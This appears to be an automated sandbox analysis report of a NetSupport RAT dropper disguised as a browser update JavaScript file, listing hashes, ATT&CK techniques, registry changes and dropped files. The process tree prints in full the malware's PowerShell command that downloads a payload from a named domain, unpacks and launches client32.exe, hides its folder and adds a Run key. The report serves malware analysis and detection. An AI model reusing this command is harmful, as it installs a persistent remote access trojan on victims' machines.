netsupport | d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e

General

Target

Update_browser_17.6436.js
Size

296KB
MD5

fd24b53547b889be132aa98a7f193614
SHA1

c5331d01d1149e8b5846d076afaa3f60f5458f99
SHA256

d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e
SHA512

54995b6a818f870655cd33b2b4cdf1185cdfbb91ecf6c8217834ec454041039a4defd7c178851ac11bc32d61d08dd92a2a6207ce90071d2d7987019ae9074c79
SSDEEP

3072:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2BOOpyDJu8XUtQQSO1T7cbF/nlz3wq2Bp:lcJ6QhO1T7cZd6BvcJ6QhO1T7cZd6Bp

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://boxtechcompany.com/data.php?8317

exe.dropper

https://boxtechcompany.com/data.php?8317

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4152	wscript.exe
42	3004	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1152	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
1152	client32.exe
1152	client32.exe
1152	client32.exe
1152	client32.exe
1152	client32.exe
1152	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX192\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3004	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeSecurityPrivilege	1152	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1152	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 3004	4152	wscript.exe	95
PID 4152 wrote to memory of 3004	4152	wscript.exe	95
PID 3004 wrote to memory of 1152	3004	powershell.exe	101
PID 3004 wrote to memory of 1152	3004	powershell.exe	101
PID 3004 wrote to memory of 1152	3004	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $GsgjmxNfEQdrqJYxQSDVvRpGZu='https://boxtechcompany.com/data.php?8317';$zhqeDTwNVYWLwoIAiIUYqEoUvYDrw=(New-Object System.Net.WebClient).DownloadString($GsgjmxNfEQdrqJYxQSDVvRpGZu);$NQevOZpukEtrdJAHxPHwhdLsdAMMVwYh=[System.Convert]::FromBase64String($zhqeDTwNVYWLwoIAiIUYqEoUvYDrw);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $PKPVlIPDbsJXusApGbSNeAO=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $PKPVlIPDbsJXusApGbSNeAO -PathType Container)) { New-Item -Path $PKPVlIPDbsJXusApGbSNeAO -ItemType Directory };$p=Join-Path $PKPVlIPDbsJXusApGbSNeAO 'vib.zip';[System.IO.File]::WriteAllBytes($p,$NQevOZpukEtrdJAHxPHwhdLsdAMMVwYh);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$PKPVlIPDbsJXusApGbSNeAO)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $PKPVlIPDbsJXusApGbSNeAO 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $PKPVlIPDbsJXusApGbSNeAO -Force; $FSDFSSD.attributes='Hidden';$s=$PKPVlIPDbsJXusApGbSNeAO+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Users\Admin\AppData\Roaming\DIVX192\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX192\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3hfv0ac.okk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX192\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX192\client32.exe

Filesize
92KB

MD5
56c7af2760c6979dc064a921e1669358

SHA1
e879aecf30241468769e9206fa0d543f31d1be18

SHA256
a6f2fefeeb992008a2ff1f6781e4656820b905ec473648b08b8a129fab026438

SHA512
f5803eb2fe1f1c7ee9c72baadf9b5911c807bfdc161d4dc5cc6accd8603459bf0bf65bf700f7be3ca6083957c8357340890b32ab392803fcb1be9a56eb64389d

Download Submit
memory/3004-0-0x0000020E61CF0000-0x0000020E61D12000-memory.dmp

Filesize
136KB

Download
memory/3004-12-0x0000020E617B0000-0x0000020E617C0000-memory.dmp

Filesize
64KB

Download
memory/3004-11-0x0000020E617B0000-0x0000020E617C0000-memory.dmp

Filesize
64KB

Download
memory/3004-10-0x00007FFB0D390000-0x00007FFB0DE51000-memory.dmp

Filesize
10.8MB

Download
memory/3004-15-0x0000020E7C300000-0x0000020E7C312000-memory.dmp

Filesize
72KB

Download
memory/3004-14-0x0000020E7C2D0000-0x0000020E7C2DA000-memory.dmp

Filesize
40KB

Download
memory/3004-82-0x00007FFB0D390000-0x00007FFB0DE51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads